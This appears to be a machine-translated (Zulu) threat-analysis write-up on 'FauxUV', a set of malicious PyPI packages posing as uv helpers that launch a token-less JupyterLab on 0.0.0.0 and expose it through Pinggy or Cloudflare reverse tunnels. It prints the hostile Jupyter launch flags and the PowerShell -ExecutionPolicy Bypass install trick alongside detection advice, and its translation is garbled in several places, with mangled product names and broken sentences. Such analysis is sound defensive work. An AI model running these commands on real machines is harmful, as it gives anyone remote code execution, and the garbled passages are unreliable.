TL; DR
Iqoqo lamaphakheji e-PyPI liboleke igama elithi uv, umphathi wephakheji we-Rust-based Python osheshayo nothandwa kakhulu, ukuzenza abasizi be-UV. Abathumeli cishe ukusebenza kwangempela. Lokho abakuthwalayo esikhundleni salokho umthwalo we-Windows oma Iseva yeJupyterLab enokufakazela ubuqiniso kuvaliwe futhi, ezinguqulweni zakamuva, ishicilela ku-inthanethi yomphakathi ngomhubhe ophambene.
Yileyo indaba yonke emgqeni owodwa: igama lethuluzi elithembekile njengelure, kanye neJupyterLab njengenjini yokusebenzisa ikhodi ekude. Iseva yeJupyter isebenzisa noma iyiphi ikhodi oyithayiphayo ku-notebook iseli; eyodwa eqaliswe ngethokheni engenalutho futhi eboshelwe kuzo zonke izixhumi zenethiwekhi iyisihumushi esivulekile esingashayelwa yinoma ubani ongafinyelela echwebeni.
Silandelela iqembu njengoba I-FauxUVAmaphakheji amabili ahlolwe yilawa moon-uv (0.0.1-0.0.16) futhi my-magic-uv-helper (0.0.1), eshicilelwe yi-opharetha efanayo futhi ibukhoma ku-PyPI ngesikhathi sokuhlaziywa.
| Ecosystem | I-PyPI |
| Packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Ipulatifomu eqondiwe | Windows |
| Ukuziphatha okuyinhloko | Iseva ye-JupyterLab engaqinisekisiwe, eshicilelwe ku-inthanethi ngomhubhe obuyela emuva |
| Amathuluzi asemthethweni asetshenziswa kabi | i-uv, i-JupyterLab, i-cloudflared, i-Pingggy |
Isiheho: igama osuvele ulethemba
uv ingenye yamathuluzi e-Python afakwe kakhulu eminyakeni emibili edlule, ngakho-ke “umsizi we- uv"Iphakheji efakwa ngumthuthukisi ngaphandle kokucabanga kabili. I-FauxUV isebenzisa ukwethembeka kwayo ngokuphelele kulelo gama. Amaphakheji ahlanganisa okuqotho uv umfakisi ovela ku-Astral — ama-URL endaweni yokulayisha kubaphathi bangempela nabathembekile — ngakho ukubuka okusheshayo akubona lutho ngaphandle kwezinkomba ezithembekile. Akukho neyodwa yamaphakheji engeza ngempela uv ukusebenza; igama liyisici esiphelele.
I-JupyterLab njengenjini ye-RCE
Isici esiyinhloko somthwalo wokukhokha yisiqalisi esiqala iJupyterLab lapho yonke i-guardrail isusiwe:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive itIfulegi ngalinye lisusa isivikelo, futhi iskripthi esithunyelwe siyasichaza (ngesiShayina sokuqala): ithokheni elingenalutho "ivala amaphasiwedi kanye nokuhlolwa kwamathokheni — noma ubani angaxhuma." I-JupyterLab iyi-IDE yesayensi yedatha esemthethweni, kodwa akuyonaebook iseli lisebenzisa ikhodi engahleliwe ngomklamo. Lilungiselelwe ngale ndlela futhi liboshelwe ku- 0.0.0.0, iyayeka ukuba yi-IDE bese iba yigobolondo elikude elingaqinisekisiwe kumphathi — akudingeki i-binary ye-malware yangokwezifiso, ithuluzi elijwayelekile nje elikhomba indlela engalungile.
Izingcezu ezimbili ezisekelayo zenza lokho kufinyeleleke futhi kuphindeke:
- Isiqalisi sokufaka esithule. Izinguqulo zokuqala zisebenzisa i-PowerShell -ExecutionPolicy Bypass ngqo kusuka setup.py on pip ukufaka, ngemuva ngamaphutha acishiwe ukuze PIP kubukeka kujwayelekile. Izinguqulo zakamuva zihambisa okufanayo okuyisisekelo ku- i-pip-uv ithuluzi lomugqa womyalo — bese ulahla ukusebenza ngokuzenzakalela kwesikhathi sokufaka ngokuphelele.
- Umhubhe obuyela emuva womphakathi. Iseva ivuliwe 0.0.0.0 isafinyeleleka kuphela ngabasingathi abangaya emshinini. Imojula ehlanganisiwe ivula i-[Pinggy](https://pinggy.io/) Umhubhe obuyela emuva we-SSH odlulisela ichweba lendawo le-Jupyter ekhelini lomphakathi, ususa lowo mkhawulo. Iskripthi esithunyelwe siphinde sibe nendlela ehlukile esebenzisa i-Cloudflare's kushiswe ngamafu futhi netsh i-port-proxy ku-Linode IP, ebhala phansi umgomo ofanayo ngokusebenzisa ingqalasizinda ehlukene.
Hlanganisa: faka iphakheji, bese i-Windows host igcina isebenzisa i-JupyterLab engenaphasiwedi bese iyishicilela ku-inthanethi evulekile.
Indlela i-FauxUV eyavela ngayo
Izinguqulo ze-FauxUV zithunyelwe zilandelana ngokushesha, futhi iphuzu lokuqala lomthwalo ladlula kuzo — isikhumbuzo sokuthi inguqulo eyodwa ephawulwe ngemaki ayivamile ukuxoxa yonke indaba yomugqa wephakheji.
Okuphawulekayo ukuthi ukusebenza ngokuzenzakalela kwesikhathi sokufaka bekulokhu isusiwe ezinguqulweni zakamuva, ezinekhono kakhulu — ngakho-ke isithwebuli sisebenza kuphela kumjikelezo wokuphila hooks izothola amaphuzu okukhishwa okusha njenge Ngaphansi ingozi, ibuyela emuva impela.
Izinkomba zokuvumelana
Kuqinisekiswe ngokufunda umthombo wephakheji; amaphoyinti okugcina amakwe Ubeke amazwana zikhona kumafayela kodwa azisetshenziswa yinguqulo ehlaziyiwe. Izinkomba zenethiwekhi ziyaphambukiswa.
Izimpawu zokuziphatha ezifanele ukuxwayiswa ngazo, ngaphandle kwalezi zintambo eziqondile: a pip ukufaka lokho kuvela i-powershell -ExecutionPolicy Bypassnoma yikuphi i-jupyter ukuhlanganisa ukuqalisa ithokheni =”” nge –ip=0.0.0.0kanye ne-SSH ephumayo ku- *.pinggy.io kusuka kunjiniyela noma kumshini we-CI.
Ukuziphatha okuqashelwe kanye nemvelaphi
Amaphakheji amabili abelana ngombhali kanye nendlela: igama lethuluzi elithembekile, i-Windows-gating kuphela, ukusebenza kwangemuva okucindezelwe amaphutha, kanye nokuthembela kumathuluzi athembekile ngakho-ke ukubuka okusheshayo kubona ama-URL athembekile kuphela. Umthombo uphethe amazwana olimi lwesiShayina achaza amafulegi ahlobene nokuphepha ngokucacile; sibika lawo njengezitatimende ezibonakalayo efayeleni, hhayi njengesimangalo mayelana nesisusa. vumela_umsuka inani kanye colab.bat Igama lefayela liphinda imisebenzi yokusebenza engakahleleki ethi “share my local runtime” ejikeleza i-Google Colab. Kungakhathaliseki ukuthi imvelaphi ikuphi, umphumela ohlanganisiwe uyafana.
Umthelela kanye nesiqondiso sabavikeli
Ngubani ovezwe ku-FauxUV. Abathuthukisi beWindows kanye nabagijimi be-CI abasebenzisa pip ukufaka enye yalezi phakheji. I-JupyterLab engenaphasiwedi ivuliwe 0.0.0.0 ukwenziwa kwekhodi okude kunoma ubani ongafinyelela echwebeni; umhubhe ususa umkhawulo wokuthi "ubani ongafinyelela kulo". Iseva isebenza njengomsebenzisi ofakayo, izuza amafayela alowo msebenzisi, amathokheni, kanye neziqinisekiso zamafu.
Kungani kulula ukuphuthelwa. Yonke intambo yenethiwekhi ikhomba kumphathi othembekile — i-Astral, i-JupyterLab, kushiswe ngamafu, Pingggy, Colab. Akukho malware binary ku-hash futhi akukho blob efihliwe yokuyichaza. Ukuskena okusekelwe edumeni kanye nesiginesha kokubili kuyasinciphisa lesi sisindo, yingakho umbuzo wokuziphatha — ukufaka leli phakethe kwenza umshini wenzeni? — yilona elibambayo.
Isiqondiso:
- Phatha noma yisiphi isikhathi sokufaka i-powershell -ExecutionPolicy Bypass njengesignali ephula ukwakheka, noma iyiphi i-URL eyitholayo.
- Isexwayiso sivuliwe i-jupyter kwethulwa ngethokheni elingenalutho futhi –ip=0.0.0.0; leyo nhlanganisela akufanele ivele endaweni yokusebenza noma kumgijimi.
- Ukuqapha abahlinzeki be-SSH abaphumayo baye ku-tunnel (*.pinggy.io, *.trycloudflare.com) ezivela ezindaweni zonjiniyela kanye ne-CI.
- ukufaka uv kusukela [emthonjeni wayo osemthethweni](https://docs.astral.sh/uv/) futhi ungabaze amaphakheji “omsizi” avela eceleni ahlanganisa ithuluzi elivele lilula ukulifaka.
- Phina bese ubuyekeza kabusha ukuncika ekuthuthukisweni — umugqa wephakheji ungakhulisa ikhono elisha lenguqulo phezu kwenguqulo.
